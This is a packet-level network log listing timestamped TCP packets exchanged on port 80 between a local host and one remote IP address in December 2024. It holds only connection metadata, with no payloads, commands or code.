Dec 26, 2024 12:05:19.178473949 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.178488016 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.180989981 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.181049109 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.181051970 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.181091070 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.183727980 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.183799028 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.183810949 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.183840990 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.186222076 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.186297894 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.186305046 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.188831091 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.188935041 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.188968897 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.189760923 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.191512108 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.191679955 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.191729069 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.194228888 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.194292068 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.194367886 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.194453955 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.196837902 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.196970940 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.197037935 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.199563980 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.199704885 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.200018883 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.202048063 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.202234030 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.202300072 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.204819918 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.204864025 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.204938889 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.205027103 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.207384109 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.207448006 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.207457066 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.207479954 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.209969997 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.210076094 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.210323095 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.212573051 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.212661028 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.212851048 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.215230942 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.215425014 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.215569019 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.218442917 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.218511105 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.218570948 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.220659971 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.220717907 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.220782042 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.220937967 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.223220110 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.223387003 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.223510981 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.225800037 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.225888968 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.225897074 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.226073980 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.296334028 CET	80	49717	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.305296898 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.305310965 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.305351019 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.305383921 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.306246042 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.306293011 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.306389093 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.306448936 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.307352066 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.307405949 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.307454109 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.307487011 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.309392929 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.309443951 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.309478998 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.309595108 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.311444998 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.311486959 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.311549902 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.311630964 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.313512087 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.313613892 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.313631058 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.313652992 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.315423012 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.315504074 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.315512896 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.315552950 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.317423105 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.317482948 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.317620039 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.317688942 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.319356918 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.319399118 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.319480896 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.319567919 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.321321964 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.321409941 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.321501017 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.321559906 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.323496103 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.323559046 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.323703051 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.323858976 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.325232983 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.325273037 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.325349092 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.325392008 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.326947927 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.327048063 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.327064037 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.327131033 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.328751087 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.328895092 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.328900099 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.328948021 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.330590963 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.330641031 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.330677986 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.330734015 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.332426071 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.332487106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.332516909 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.332556963 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.334294081 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.334330082 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.334369898 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.334410906 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.336081028 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.336101055 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.336117983 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.336138964 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.337851048 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.337912083 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.337914944 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.338021040 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.339607954 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.339687109 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.339822054 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.339867115 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.341490984 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.341552019 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.341574907 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.341697931 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.343081951 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.343161106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.343211889 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.343358040 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.344031096 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.344172955 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.344235897 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.345088959 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.345429897 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.345536947 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.345910072 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.346024036 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.346079111 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.346838951 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.346882105 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.346944094 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.347007990 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.347807884 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.347877026 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.347886086 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.348632097 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.348683119 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.348759890 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.349728107 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.349744081 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.349905968 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.349975109 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.350590944 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.350692987 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.350800037 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.351383924 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.351443052 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.351505995 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.351567030 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.352300882 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.352421045 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.352432013 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.352487087 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.353238106 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.353302002 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.353398085 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.353466034 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.354175091 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.354237080 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.354238033 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.354288101 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.355089903 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.355156898 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.355185986 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.355226040 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.356255054 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.356338024 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.356398106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.356398106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.356933117 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.356991053 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.357027054 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.357068062 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.357872009 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.357968092 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.358033895 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.358783007 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.358880997 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.358901978 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.358944893 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.359703064 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.359745026 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.359812021 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.359870911 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.360634089 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.360747099 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.360754013 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.360845089 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.361531019 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.361588001 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.361641884 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.361701965 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.362507105 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.362569094 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.362680912 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.362724066 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.363464117 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.363537073 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.363563061 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.363636971 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.364317894 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.364361048 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.364434958 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.364548922 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.365227938 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.365319967 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.365345001 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.365407944 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.366276026 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.366331100 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.366413116 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.366465092 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.367464066 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.367506027 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.367748022 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.367789030 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.368489027 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.368531942 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.368563890 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.368601084 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.369307041 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.369359016 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.369401932 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.369401932 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.369970083 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.370027065 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.370100975 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.370176077 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.370879889 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.370898962 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.370920897 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.370939016 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.473357916 CET	49723	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.516263008 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.516290903 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.516319036 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.516371965 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.516520977 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.516581059 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.516660929 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.516784906 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.517316103 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.517395020 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.517432928 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.517601967 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.518111944 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.518167019 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.518168926 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.518265963 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.518997908 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.519097090 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.519279003 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.519279003 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.519916058 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.520035982 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.520051003 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.520112991 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.521013975 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.521064043 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.521099091 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.521188974 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.521753073 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.521790028 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.521853924 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.521904945 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.522695065 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.522761106 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.523113966 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.523154020 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.523678064 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.523720026 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.523896933 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.523942947 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.524518013 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.524594069 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.524626017 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.524626017 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.525491953 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.525540113 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.525558949 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.525604963 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.526398897 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.526515007 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.526524067 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.526669979 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.527324915 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.527370930 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.527436972 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.527473927 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.528230906 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.528337002 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.528340101 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.528379917 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.529155016 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.529196024 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.529237032 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.529273987 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.530071020 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.530122995 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.530158043 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.530196905 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.531012058 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.531064034 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.531101942 CET	80	49716	185.81.68.147	192.168.2.5
Dec 26, 2024 12:05:19.531188965 CET	49716	80	192.168.2.5	185.81.68.147
Dec 26, 2024 12:05:19.531955957 CET	80	49716	185.81.68.147	192.168.2.5
